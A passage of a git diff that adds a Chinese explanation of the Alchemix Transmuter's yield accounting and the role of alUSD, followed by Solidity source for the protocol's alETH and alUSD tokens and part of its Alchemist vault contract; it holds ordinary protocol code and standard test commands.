+  比如 Transmuter 中初始 alUSD 质押为 0, 之后用户 A 质押了 100 的 alUSD. 一段时间后, Alchemist 合约产生了收益 ( 记为 profit ), 并转入了 10 daiToken. 这个时候用户 A 的收益为 0, 因为从用户 A 质押 alUSD 到 Tranmuter 存入 10 daiToken 的前, Transmuter 是没有 daiToken 的, 所有用户 A 没有任何收益. 之后, Alchemist 合约再次产生了收益, 转入了 20 daiToken, 这个时候 Transmuter 会计算累加的收益权重 totalDividendPoints , 计算公式如下:
+  CurrentTotalDividendPoints  
+  = LasttotalDividendPoints + (( 当前 Transmuter 中未非配的收益 ) / 总的 alUSD 质押量 )  
+  = 0 + ( 10 / 100 )  
+  = 0.1
+
+之后, 如果用户进行 stake 或是 unstake, 就会更新用的收益到 tokensInBucket[account] 中, 同时更新用户的 lastDividendPoints[account], 避免重复计算收益
+
+### alUSD 的作用功能
+
+仔细观察上述 Alchemist 和 Transmuter 两个合约的处理流程中, 会发现 alUSD 在其中起到了很重要的作用.  
+在 Alchemist 中, 用户存入资产后, 产生的收益不能直接取出, 但是可以用作生成额外的 alUSD, 这额外的 alUSD 连同本金生成的 alUSD 投入到 Transmuter 中才能获取真正的收益.  
+这里项目方这样操作的目的在于避免 alUSD 被边缘化用户收益的提取中间币, 导致 alUSD 毫无价值.  
+按照 Alchemist 现在的逻辑功能来看, 用户想要获取更多的收益, 必须要合成更多的 alUSD, 同时要长时间的持有, 这样就会造成 alUSD 的价值提升.
+
+## 测试流程
+
+- 安装依赖
+
+```bash
+yarn
+```
+
+- 测试合约
+
+```bash
+npx hardhat test
+```
+
+## 参考文档
+
+- Github 仓库地址: https://github.com/alchemix-finance/alchemix-protocol
+- Alchemix 白皮书: https://alchemix.fi/c76d1d663f6c8247b86a8fca83d5bd1b.pdf
+- Medium: https://alchemixfi.medium.com/
+- twitter: https://twitter.com/alchemixfi
+- Discord: https://discord.com/invite/zAd6dzgwaj
+- Youtube: https://www.youtube.com/channel/UCh2HgfcLb5zMLQ2Yi9Wl5QA/featured
diff --git a/defi/Alchemix/contracts/AlEth.sol b/defi/Alchemix/contracts/AlEth.sol
new file mode 100644
index 000000000..db81dd859
--- /dev/null
+++ b/defi/Alchemix/contracts/AlEth.sol
@@ -0,0 +1,143 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";
+import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
+
+import {IDetailedERC20} from "./interfaces/IDetailedERC20.sol";
+
+/// @title AlToken
+///
+/// @dev This is the contract for the Alchemix utillity token usd.
+///
+/// Initially, the contract deployer is given both the admin and minter role. This allows them to pre-mine tokens,
+/// transfer admin to a timelock contract, and lastly, grant the staking pools the minter role. After this is done,
+/// the deployer must revoke their admin role and minter role.
+contract AlEth is AccessControl, ERC20("Alchemix ETH", "alETH") {
+  using SafeERC20 for ERC20;
+
+  /// @dev The identifier of the role which maintains other roles.
+  bytes32 public constant ADMIN_ROLE = keccak256("ADMIN");
+
+  /// @dev The identifier of the role which allows accounts to mint tokens.
+  bytes32 public constant SENTINEL_ROLE = keccak256("SENTINEL");
+  
+  /// @dev addresses whitelisted for minting new tokens
+  mapping (address => bool) public whiteList;
+
+  /// @dev addresses paused for minting new tokens
+  mapping (address => bool) public paused;
+
+  /// @dev ceiling per address for minting new tokens
+  mapping (address => uint256) public ceiling;
+
+  /// @dev already minted amount per address to track the ceiling
+  mapping (address => uint256) public hasMinted;
+
+  event AlchemistPaused(address alchemistAddress, bool isPaused);
+  
+  constructor() public {
+    _setupRole(ADMIN_ROLE, msg.sender);
+    _setupRole(SENTINEL_ROLE, msg.sender);
+    _setRoleAdmin(SENTINEL_ROLE,ADMIN_ROLE);
+    _setRoleAdmin(ADMIN_ROLE,ADMIN_ROLE);
+  }
+
+  /// @dev A modifier which checks if whitelisted for minting.
+  modifier onlyWhitelisted() {
+    require(whiteList[msg.sender], "AlETH: Alchemist is not whitelisted");
+    _;
+  }
+
+  /// @dev Mints tokens to a recipient.
+  ///
+  /// This function reverts if the caller does not have the minter role.
+  ///
+  /// @param _recipient the account to mint tokens to.
+  /// @param _amount    the amount of tokens to mint.
+  function mint(address _recipient, uint256 _amount) external onlyWhitelisted {
+    require(!paused[msg.sender], "AlETH: Alchemist is currently paused.");
+    hasMinted[msg.sender] = hasMinted[msg.sender].add(_amount);
+    _mint(_recipient, _amount);
+  }
+  /// This function reverts if the caller does not have the admin role.
+  ///
+  /// @param _toWhitelist the account to mint tokens to.
+  /// @param _state the whitelist state.
+
+  function setWhitelist(address _toWhitelist, bool _state) external onlyAdmin {
+    whiteList[_toWhitelist] = _state;
+  }
+  /// This function reverts if the caller does not have the admin role.
+  ///
+  /// @param _newSentinel the account to set as sentinel.
+
+  function setSentinel(address _newSentinel) external onlyAdmin {
+    _setupRole(SENTINEL_ROLE, _newSentinel);
+  }
+
+  /// This function reverts if the caller does not have the sentinel role.
+  function pauseAlchemist(address _toPause, bool _state) external onlySentinel {
+    paused[_toPause] = _state;
+    AlchemistPaused(_toPause, _state);
+  }
+  /// This function reverts if the caller does not have the admin role.
+  ///
+  /// @param _toSetCeiling the account set the ceiling off.
+  /// @param _ceiling the max amount of tokens the account is allowed to mint.
+  function setCeiling(address _toSetCeiling, uint256 _ceiling) external onlyAdmin {
+    ceiling[_toSetCeiling] = _ceiling;
+  }
+  /// @dev A modifier which checks that the caller has the admin role.
+  modifier onlyAdmin() {
+    require(hasRole(ADMIN_ROLE, msg.sender), "only admin");
+    _;
+  }
+  /// @dev A modifier which checks that the caller has the sentinel role.
+  modifier onlySentinel() {
+    require(hasRole(SENTINEL_ROLE, msg.sender), "only sentinel");
+    _;
+  }
+
+  /**
+    * @dev Destroys `amount` tokens from the caller.
+    *
+    * See {ERC20-_burn}.
+    */
+  function burn(uint256 amount) public virtual {
+    _burn(_msgSender(), amount);
+  }
+
+  /**
+    * @dev Destroys `amount` tokens from `account`, deducting from the caller's
+    * allowance.
+    *
+    * See {ERC20-_burn} and {ERC20-allowance}.
+    *
+    * Requirements:
+    *
+    * - the caller must have allowance for ``accounts``'s tokens of at least
+    * `amount`.
+    */
+  function burnFrom(address account, uint256 amount) public virtual {
+    uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
+
+    _approve(account, _msgSender(), decreasedAllowance);
+    _burn(account, amount);
+  }
+
+  /**
+    * @dev lowers hasminted from the caller's allocation
+    *
+    */
+  function lowerHasMinted(uint256 amount) public onlyWhitelisted {
+    if (amount >= hasMinted[msg.sender]) {
+      hasMinted[msg.sender] = 0;
+    } else {
+      hasMinted[msg.sender] = hasMinted[msg.sender].sub(amount);
+    }
+  }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/AlToken.sol b/defi/Alchemix/contracts/AlToken.sol
new file mode 100644
index 000000000..ee157ee97
--- /dev/null
+++ b/defi/Alchemix/contracts/AlToken.sol
@@ -0,0 +1,148 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";
+import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
+
+import {IDetailedERC20} from "./interfaces/IDetailedERC20.sol";
+
+/// @title AlToken
+///
+/// @dev This is the contract for the Alchemix utillity token usd.
+///
+/// Initially, the contract deployer is given both the admin and minter role. This allows them to pre-mine tokens,
+/// transfer admin to a timelock contract, and lastly, grant the staking pools the minter role. After this is done,
+/// the deployer must revoke their admin role and minter role.
+contract AlToken is AccessControl, ERC20("Alchemix USD", "alUSD") {
+  using SafeERC20 for ERC20;
+
+  /// @dev The identifier of the role which maintains other roles.
+  bytes32 public constant ADMIN_ROLE = keccak256("ADMIN");
+
+  /// @dev The identifier of the role which allows accounts to mint tokens.
+  bytes32 public constant SENTINEL_ROLE = keccak256("SENTINEL");
+  
+  /// @dev addresses whitelisted for minting new tokens
+  mapping (address => bool) public whiteList;
+  
+  /// @dev addresses blacklisted for minting new tokens
+  mapping (address => bool) public blacklist;
+
+  /// @dev addresses paused for minting new tokens
+  mapping (address => bool) public paused;
+
+  /// @dev ceiling per address for minting new tokens
+  mapping (address => uint256) public ceiling;
+
+  /// @dev already minted amount per address to track the ceiling
+  mapping (address => uint256) public hasMinted;
+
+  event Paused(address alchemistAddress, bool isPaused);
+  
+  constructor() public {
+    _setupRole(ADMIN_ROLE, msg.sender);
+    _setupRole(SENTINEL_ROLE, msg.sender);
+    _setRoleAdmin(SENTINEL_ROLE,ADMIN_ROLE);
+    _setRoleAdmin(ADMIN_ROLE,ADMIN_ROLE);
+  }
+
+  /// @dev A modifier which checks if whitelisted for minting.
+  modifier onlyWhitelisted() {
+    require(whiteList[msg.sender], "AlUSD: Alchemist is not whitelisted");
+    _;
+  }
+
+  /// @dev Mints tokens to a recipient.
+  ///
+  /// This function reverts if the caller does not have the minter role.
+  ///
+  /// @param _recipient the account to mint tokens to.
+  /// @param _amount    the amount of tokens to mint.
+  function mint(address _recipient, uint256 _amount) external onlyWhitelisted {
+    require(!blacklist[msg.sender], "AlUSD: Alchemist is blacklisted.");
+    uint256 _total = _amount.add(hasMinted[msg.sender]);
+    require(_total <= ceiling[msg.sender],"AlUSD: Alchemist's ceiling was breached.");
+    require(!paused[msg.sender], "AlUSD: user is currently paused.");
+    hasMinted[msg.sender] = hasMinted[msg.sender].add(_amount);
+    _mint(_recipient, _amount);
+  }
+  /// This function reverts if the caller does not have the admin role.
+  ///
+  /// @param _toWhitelist the account to mint tokens to.
+  /// @param _state the whitelist state.
+
+  function setWhitelist(address _toWhitelist, bool _state) external onlyAdmin {
+    whiteList[_toWhitelist] = _state;
+  }
+  /// This function reverts if the caller does not have the admin role.
+  ///
+  /// @param _newSentinel the account to set as sentinel.
+
+  function setSentinel(address _newSentinel) external onlyAdmin {
+    _setupRole(SENTINEL_ROLE, _newSentinel);
+  }
+  /// This function reverts if the caller does not have the admin role.
+  ///
+  /// @param _toBlacklist the account to mint tokens to.
+  function setBlacklist(address _toBlacklist) external onlySentinel {
+    blacklist[_toBlacklist] = true;
+  }
+  /// This function reverts if the caller does not have the admin role.
+  function pauseAlchemist(address _toPause, bool _state) external onlySentinel {
+    paused[_toPause] = _state;
+    Paused(_toPause, _state);
+  }
+  /// This function reverts if the caller does not have the admin role.
+  ///
+  /// @param _toSetCeiling the account set the ceiling off.
+  /// @param _ceiling the max amount of tokens the account is allowed to mint.
+  function setCeiling(address _toSetCeiling, uint256 _ceiling) external onlyAdmin {
+    ceiling[_toSetCeiling] = _ceiling;
+  }
+   /// @dev A modifier which checks that the caller has the admin role.
+  modifier onlyAdmin() {
+    require(hasRole(ADMIN_ROLE, msg.sender), "only admin");
+    _;
+  }
+  /// @dev A modifier which checks that the caller has the sentinel role.
+  modifier onlySentinel() {
+    require(hasRole(SENTINEL_ROLE, msg.sender), "only sentinel");
+    _;
+  }
+  /**
+     * @dev Destroys `amount` tokens from the caller.
+     *
+     * See {ERC20-_burn}.
+     */
+    function burn(uint256 amount) public virtual {
+        _burn(_msgSender(), amount);
+    }
+
+    /**
+     * @dev Destroys `amount` tokens from `account`, deducting from the caller's
+     * allowance.
+     *
+     * See {ERC20-_burn} and {ERC20-allowance}.
+     *
+     * Requirements:
+     *
+     * - the caller must have allowance for ``accounts``'s tokens of at least
+     * `amount`.
+     */
+    function burnFrom(address account, uint256 amount) public virtual {
+        uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
+
+        _approve(account, _msgSender(), decreasedAllowance);
+        _burn(account, amount);
+    }
+    /**
+     * @dev lowers hasminted from the caller's allocation
+     *
+     */
+    function lowerHasMinted( uint256 amount) public onlyWhitelisted {
+        hasMinted[msg.sender] = hasMinted[msg.sender].sub(amount);
+    }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/Alchemist.sol b/defi/Alchemix/contracts/Alchemist.sol
new file mode 100644
index 000000000..3fc25520d
--- /dev/null
+++ b/defi/Alchemix/contracts/Alchemist.sol
@@ -0,0 +1,786 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+//import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import {Math} from "@openzeppelin/contracts/math/Math.sol";
+import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
+import {Address} from "@openzeppelin/contracts/utils/Address.sol";
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
+
+import {CDP} from "./libraries/alchemist/CDP.sol";
+import {FixedPointMath} from "./libraries/FixedPointMath.sol";
+import {ITransmuter} from "./interfaces/ITransmuter.sol";
+import {IMintableERC20} from "./interfaces/IMintableERC20.sol";
+import {IChainlink} from "./interfaces/IChainlink.sol";
+import {IVaultAdapter} from "./interfaces/IVaultAdapter.sol";
+import {Vault} from "./libraries/alchemist/Vault.sol";
+
+import "hardhat/console.sol";
+
+// ERC20,removing ERC20 from the alchemist
+//    ___    __        __                _               ___                              __         _ 
+//   / _ |  / / ____  / /  ___   __ _   (_) __ __       / _ \  ____ ___   ___ ___   ___  / /_  ___  (_)
+//  / __ | / / / __/ / _ \/ -_) /  ' \ / /  \ \ /      / ___/ / __// -_) (_-</ -_) / _ \/ __/ (_-< _   
+// /_/ |_|/_/  \__/ /_//_/\__/ /_/_/_//_/  /_\_\      /_/    /_/   \__/ /___/\__/ /_//_/\__/ /___/(_)  
+//  
+//      ___       __        ______  __    __   _______ .___  ___.  __       _______..___________.
+//     /   \     |  |      /      ||  |  |  | |   ____||   \/   | |  |     /       ||           |
+//    /  ^  \    |  |     |  ,----'|  |__|  | |  |__   |  \  /  | |  |    |   (----``---|  |----`
+//   /  /_\  \   |  |     |  |     |   __   | |   __|  |  |\/|  | |  |     \   \        |  |     
+//  /  _____  \  |  `----.|  `----.|  |  |  | |  |____ |  |  |  | |  | .----)   |       |  |     
+// /__/     \__\ |_______| \______||__|  |__| |_______||__|  |__| |__| |_______/        |__|     
+                                                                                              
+contract Alchemist is  ReentrancyGuard {
+  using CDP for CDP.Data;
+  using FixedPointMath for FixedPointMath.FixedDecimal;
+  using Vault for Vault.Data;
+  using Vault for Vault.List;
+  using SafeERC20 for IMintableERC20;
+  using SafeMath for uint256;
+  using Address for address;
+
+  address public constant ZERO_ADDRESS = address(0);
+
+  /// @dev Resolution for all fixed point numeric parameters which represent percents. The resolution allows for a
+  /// granularity of 0.01% increments.
+  uint256 public constant PERCENT_RESOLUTION = 10000;
+
+  /// @dev The minimum value that the collateralization limit can be set to by the governance. This is a safety rail
+  /// to prevent the collateralization from being set to a value which breaks the system.
+  ///
+  /// This value is equal to 100%.
+  ///
+  /// IMPORTANT: This constant is a raw FixedPointMath.FixedDecimal value and assumes a resolution of 64 bits. If the
+  ///            resolution for the FixedPointMath library changes this constant must change as well.
+  uint256 public constant MINIMUM_COLLATERALIZATION_LIMIT = 1000000000000000000;
+
+  /// @dev The maximum value that the collateralization limit can be set to by the governance. This is a safety rail
+  /// to prevent the collateralization from being set to a value which breaks the system.
+  ///
+  /// This value is equal to 400%.
+  ///
+  /// IMPORTANT: This constant is a raw FixedPointMath.FixedDecimal value and assumes a resolution of 64 bits. If the
+  ///            resolution for the FixedPointMath library changes this constant must change as well.
+  uint256 public constant MAXIMUM_COLLATERALIZATION_LIMIT = 4000000000000000000;
+
+  event GovernanceUpdated(
+    address governance
+  );
+
+  event PendingGovernanceUpdated(
+    address pendingGovernance
+  );
+
+  event SentinelUpdated(
+    address sentinel
+  );
+
+  event TransmuterUpdated(
+    address transmuter
+  );
+
+  event RewardsUpdated(
+    address treasury
+  );
+
+  event HarvestFeeUpdated(
+    uint256 fee
+  );
+
+  event CollateralizationLimitUpdated(
+    uint256 limit
+  );
+
+  event EmergencyExitUpdated(
+    bool status
+  );
+
+  event ActiveVaultUpdated(
+    IVaultAdapter indexed adapter
+  );
+
+  event FundsHarvested(
+    uint256 withdrawnAmount,
+    uint256 decreasedValue
+  );
+
+  event FundsRecalled(
+    uint256 indexed vaultId,
+    uint256 withdrawnAmount,
+    uint256 decreasedValue
+  );
+
+  event FundsFlushed(
+    uint256 amount
+  );
+
+  event TokensDeposited(
+    address indexed account,
+    uint256 amount
+  );
+
+  event TokensWithdrawn(
+    address indexed account,
+    uint256 requestedAmount,
+    uint256 withdrawnAmount,
+    uint256 decreasedValue
+  );
+
+  event TokensRepaid(
+    address indexed account,
+    uint256 parentAmount,
+    uint256 childAmount
+  );
+
+  event TokensLiquidated(
+    address indexed account,
+    uint256 requestedAmount,
+    uint256 withdrawnAmount,
+    uint256 decreasedValue
+  );
+
+  /// @dev The token that this contract is using as the parent asset.
+  IMintableERC20 public token;
+
+   /// @dev The token that this contract is using as the child asset.
+  IMintableERC20 public xtoken;
+
+  /// @dev The address of the account which currently has administrative capabilities over this contract.
+  address public governance;
+
+  /// @dev The address of the pending governance.
+  address public pendingGovernance;
+
+  /// @dev The address of the account which can initiate an emergency withdraw of funds in a vault.
+  address public sentinel;
+
+  /// @dev The address of the contract which will transmute synthetic tokens back into native tokens.
+  address public transmuter;
+
+  /// @dev The address of the contract which will receive fees.
+  address public rewards;
+
+  /// @dev The percent of each profitable harvest that will go to the rewards contract.
+  uint256 public harvestFee;
+
+  /// @dev The total amount the native token deposited into the system that is owned by external users.
+  uint256 public totalDeposited;
+
+  /// @dev when movemetns are bigger than this number flush is activated.
+  uint256 public flushActivator;
+
+  /// @dev A flag indicating if the contract has been initialized yet.
+  bool public initialized;
+
+  /// @dev A flag indicating if deposits and flushes should be halted and if all parties should be able to recall
+  /// from the active vault.
+  bool public emergencyExit;
+
+  /// @dev The context shared between the CDPs.
+  CDP.Context private _ctx;
+
+  /// @dev A mapping of all of the user CDPs. If a user wishes to have multiple CDPs they will have to either
+  /// create a new address or set up a proxy contract that interfaces with this contract.
+  mapping(address => CDP.Data) private _cdps;
+
+  /// @dev A list of all of the vaults. The last element of the list is the vault that is currently being used for
+  /// deposits and withdraws. Vaults before the last element are considered inactive and are expected to be cleared.
+  Vault.List private _vaults;
+
+  /// @dev The address of the link oracle.
+  address public _linkGasOracle;
+
+  /// @dev The minimum returned amount needed to be on peg according to the oracle.
+  uint256 public pegMinimum;
+  
+  constructor(
+    IMintableERC20 _token,
+    IMintableERC20 _xtoken,
+    address _governance,
+    address _sentinel
+  )
+    public
+    /*ERC20(
+      string(abi.encodePacked("Alchemic ", _token.name())),
+      string(abi.encodePacked("al", _token.symbol()))
+    )*/
+  {
+    require(_governance != ZERO_ADDRESS, "Alchemist: governance address cannot be 0x0.");
+    require(_sentinel != ZERO_ADDRESS, "Alchemist: sentinel address cannot be 0x0.");
+
+    token = _token;
+    xtoken = _xtoken;
+    governance = _governance;
+    sentinel = _sentinel;
+    flushActivator = 100000 ether;// change for non 18 digit tokens
+
+    //_setupDecimals(_token.decimals());
+    uint256 COLL_LIMIT = MINIMUM_COLLATERALIZATION_LIMIT.mul(2);
+    _ctx.collateralizationLimit = FixedPointMath.FixedDecimal(COLL_LIMIT);
+    _ctx.accumulatedYieldWeight = FixedPointMath.FixedDecimal(0);
+  }
+
+  /// @dev Sets the pending governance.
+  ///
+  /// This function reverts if the new pending governance is the zero address or the caller is not the current
+  /// governance. This is to prevent the contract governance being set to the zero address which would deadlock
+  /// privileged contract functionality.
+  ///
+  /// @param _pendingGovernance the new pending governance.
+  function setPendingGovernance(address _pendingGovernance) external onlyGov {
+    require(_pendingGovernance != ZERO_ADDRESS, "Alchemist: governance address cannot be 0x0.");
+
+    pendingGovernance = _pendingGovernance;
+
+    emit PendingGovernanceUpdated(_pendingGovernance);
+  }
+
+  /// @dev Accepts the role as governance.
+  ///
+  /// This function reverts if the caller is not the new pending governance.
+  function acceptGovernance() external  {
+    require(msg.sender == pendingGovernance,"sender is not pendingGovernance");
+    address _pendingGovernance = pendingGovernance;
+    governance = _pendingGovernance;
+
+    emit GovernanceUpdated(_pendingGovernance);
+  }
+
+  function setSentinel(address _sentinel) external onlyGov {
+
+    require(_sentinel != ZERO_ADDRESS, "Alchemist: sentinel address cannot be 0x0.");
+
+    sentinel = _sentinel;
+
+    emit SentinelUpdated(_sentinel);
+  }
+
+  /// @dev Sets the transmuter.
+  ///
+  /// This function reverts if the new transmuter is the zero address or the caller is not the current governance.
+  ///
+  /// @param _transmuter the new transmuter.
+  function setTransmuter(address _transmuter) external onlyGov {
+
+    // Check that the transmuter address is not the zero address. Setting the transmuter to the zero address would break
+    // transfers to the address because of `safeTransfer` checks.
+    require(_transmuter != ZERO_ADDRESS, "Alchemist: transmuter address cannot be 0x0.");
+
+    transmuter = _transmuter;
+
+    emit TransmuterUpdated(_transmuter);
+  }
+  /// @dev Sets the flushActivator.
+  ///
+  /// @param _flushActivator the new flushActivator.
+  function setFlushActivator(uint256 _flushActivator) external onlyGov {
+    flushActivator = _flushActivator;
+
+  }
+
+  /// @dev Sets the rewards contract.
+  ///
+  /// This function reverts if the new rewards contract is the zero address or the caller is not the current governance.
+  ///
+  /// @param _rewards the new rewards contract.
+  function setRewards(address _rewards) external onlyGov {
+
+    // Check that the rewards address is not the zero address. Setting the rewards to the zero address would break
+    // transfers to the address because of `safeTransfer` checks.
+    require(_rewards != ZERO_ADDRESS, "Alchemist: rewards address cannot be 0x0.");
+
+    rewards = _rewards;
+
+    emit RewardsUpdated(_rewards);
+  }
+
+  /// @dev Sets the harvest fee.
+  ///
+  /// This function reverts if the caller is not the current governance.
+  ///
+  /// @param _harvestFee the new harvest fee.
+  function setHarvestFee(uint256 _harvestFee) external onlyGov {
+
+    // Check that the harvest fee is within the acceptable range. Setting the harvest fee greater than 100% could
+    // potentially break internal logic when calculating the harvest fee.
+    require(_harvestFee <= PERCENT_RESOLUTION, "Alchemist: harvest fee above maximum.");
+
+    harvestFee = _harvestFee;
+
+    emit HarvestFeeUpdated(_harvestFee);
+  }
+
+  /// @dev Sets the collateralization limit.
+  ///
+  /// This function reverts if the caller is not the current governance or if the collateralization limit is outside
+  /// of the accepted bounds.
+  ///
+  /// @param _limit the new collateralization limit.
+  function setCollateralizationLimit(uint256 _limit) external onlyGov {
+
+    require(_limit >= MINIMUM_COLLATERALIZATION_LIMIT, "Alchemist: collateralization limit below minimum.");
+    require(_limit <= MAXIMUM_COLLATERALIZATION_LIMIT, "Alchemist: collateralization limit above maximum.");
+
+    _ctx.collateralizationLimit = FixedPointMath.FixedDecimal(_limit);
+
+    emit CollateralizationLimitUpdated(_limit);
+  }
+  /// @dev Set oracle.
+  function setOracleAddress(address Oracle, uint256 peg) external onlyGov {
+    _linkGasOracle = Oracle;
+    pegMinimum = peg;
+  }
+  /// @dev Sets if the contract should enter emergency exit mode.
+  ///
+  /// @param _emergencyExit if the contract should enter emergency exit mode.
+  function setEmergencyExit(bool _emergencyExit) external {
+    require(msg.sender == governance || msg.sender == sentinel, "");
+
+    emergencyExit = _emergencyExit;
+
+    emit EmergencyExitUpdated(_emergencyExit);
+  }
+
+  /// @dev Gets the collateralization limit.
+  ///
+  /// The collateralization limit is the minimum ratio of collateral to debt that is allowed by the system.
+  ///
+  /// @return the collateralization limit.
+  function collateralizationLimit() external view returns (FixedPointMath.FixedDecimal memory) {
+    return _ctx.collateralizationLimit;
+  }
+
+  /// @dev Initializes the contract.
+  ///
+  /// This function checks that the transmuter and rewards have been set and sets up the active vault.
+  ///
+  /// @param _adapter the vault adapter of the active vault.
+  function initialize(IVaultAdapter _adapter) external onlyGov {
+
+    require(!initialized, "Alchemist: already initialized");
+
+    require(transmuter != ZERO_ADDRESS, "Alchemist: cannot initialize transmuter address to 0x0");
+    require(rewards != ZERO_ADDRESS, "Alchemist: cannot initialize rewards address to 0x0");
+
+    _updateActiveVault(_adapter);
+
+    initialized = true;
+  }
+
+  /// @dev Migrates the system to a new vault.
+  ///
+  /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts
+  /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized.
+  ///
+  /// @param _adapter the adapter for the vault the system will migrate to.
+  function migrate(IVaultAdapter _adapter) external expectInitialized onlyGov {
+
+    _updateActiveVault(_adapter);
+  }
+
+  /// @dev Harvests yield from a vault.
+  ///
+  /// @param _vaultId the identifier of the vault to harvest from.
+  ///
+  /// @return the amount of funds that were harvested from the vault.
+  function harvest(uint256 _vaultId) external expectInitialized returns (uint256, uint256) {
+
+    Vault.Data storage _vault = _vaults.get(_vaultId);
+
+    (uint256 _harvestedAmount, uint256 _decreasedValue) = _vault.harvest(address(this));
+
+    if (_harvestedAmount > 0) {
+      uint256 _feeAmount = _harvestedAmount.mul(harvestFee).div(PERCENT_RESOLUTION);
+      uint256 _distributeAmount = _harvestedAmount.sub(_feeAmount);
+
+      FixedPointMath.FixedDecimal memory _weight = FixedPointMath.fromU256(_distributeAmount).div(totalDeposited);
+      _ctx.accumulatedYieldWeight = _ctx.accumulatedYieldWeight.add(_weight);
+
+      if (_feeAmount > 0) {
+        token.safeTransfer(rewards, _feeAmount);
+      }
+
+      if (_distributeAmount > 0) {
+        _distributeToTransmuter(_distributeAmount);
+        
+        // token.safeTransfer(transmuter, _distributeAmount); previous version call
+      }
+    }
+
+    emit FundsHarvested(_harvestedAmount, _decreasedValue);
+
+    return (_harvestedAmount, _decreasedValue);
+  }
+
+  /// @dev Recalls an amount of deposited funds from a vault to this contract.
+  ///
+  /// @param _vaultId the identifier of the recall funds from.
+  ///
+  /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value.
+  function recall(uint256 _vaultId, uint256 _amount) external nonReentrant expectInitialized returns (uint256, uint256) {
+
+    return _recallFunds(_vaultId, _amount);
+  }
+
+  /// @dev Recalls all the deposited funds from a vault to this contract.
+  ///
+  /// @param _vaultId the identifier of the recall funds from.
+  ///
+  /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value.
+  function recallAll(uint256 _vaultId) external nonReentrant expectInitialized returns (uint256, uint256) {
+    Vault.Data storage _vault = _vaults.get(_vaultId);
+    return _recallFunds(_vaultId, _vault.totalDeposited);
+  }
+
+  /// @dev Flushes buffered tokens to the active vault.
+  ///
+  /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of
+  /// additional funds.
+  ///
+  /// @return the amount of tokens flushed to the active vault.
+  function flush() external nonReentrant expectInitialized returns (uint256) {
+
+    // Prevent flushing to the active vault when an emergency exit is enabled to prevent potential loss of funds if
+    // the active vault is poisoned for any reason.
+    require(!emergencyExit, "emergency pause enabled");
+
+    return flushActiveVault();
+  }
+
+  /// @dev Internal function to flush buffered tokens to the active vault.
+  ///
+  /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of
+  /// additional funds.
+  ///
+  /// @return the amount of tokens flushed to the active vault.
+  function flushActiveVault() internal returns (uint256) {
+
+    Vault.Data storage _activeVault = _vaults.last();
+    uint256 _depositedAmount = _activeVault.depositAll();
+
+    emit FundsFlushed(_depositedAmount);
+
+    return _depositedAmount;
+  }
+
+  /// @dev Deposits collateral into a CDP.
+  ///
+  /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of
+  /// additional funds.
+  ///
+  /// @param _amount the amount of collateral to deposit.
+  function deposit(uint256 _amount) external nonReentrant noContractAllowed expectInitialized {
+
+    require(!emergencyExit, "emergency pause enabled");
+    
+    CDP.Data storage _cdp = _cdps[msg.sender];
+    _cdp.update(_ctx);
+
+    token.safeTransferFrom(msg.sender, address(this), _amount);
+    if(_amount >= flushActivator) {
+      flushActiveVault();
+    }
+    totalDeposited = totalDeposited.add(_amount);
+
+    _cdp.totalDeposited = _cdp.totalDeposited.add(_amount);
+    _cdp.lastDeposit = block.number;
+
+    emit TokensDeposited(msg.sender, _amount);
+  }
+
+  /// @dev Attempts to withdraw part of a CDP's collateral.
+  ///
+  /// This function reverts if a deposit into the CDP was made in the same block. This is to prevent flash loan attacks
+  /// on other internal or external systems.
+  ///
+  /// @param _amount the amount of collateral to withdraw.
+  function withdraw(uint256 _amount) external nonReentrant noContractAllowed expectInitialized returns (uint256, uint256) {
+
+    CDP.Data storage _cdp = _cdps[msg.sender];
+    require(block.number > _cdp.lastDeposit, "");
+
+    _cdp.update(_ctx);
+
+    (uint256 _withdrawnAmount, uint256 _decreasedValue) = _withdrawFundsTo(msg.sender, _amount);
+
+    _cdp.totalDeposited = _cdp.totalDeposited.sub(_decreasedValue, "Exceeds withdrawable amount");
+    _cdp.checkHealth(_ctx, "Action blocked: unhealthy collateralization ratio");
+    if(_amount >= flushActivator) {
+      flushActiveVault();
+    }
+    emit TokensWithdrawn(msg.sender, _amount, _withdrawnAmount, _decreasedValue);
+
+    return (_withdrawnAmount, _decreasedValue);
+  }
+
+  /// @dev Repays debt with the native and or synthetic token.
+  ///
+  /// An approval is required to transfer native tokens to the transmuter.
+  function repay(uint256 _parentAmount, uint256 _childAmount) external nonReentrant noContractAllowed onLinkCheck expectInitialized {
+
+    CDP.Data storage _cdp = _cdps[msg.sender];
+    _cdp.update(_ctx);
+
+    if (_parentAmount > 0) {
+      token.safeTransferFrom(msg.sender, address(this), _parentAmount);
+      _distributeToTransmuter(_parentAmount);
+    }
+
+    if (_childAmount > 0) {
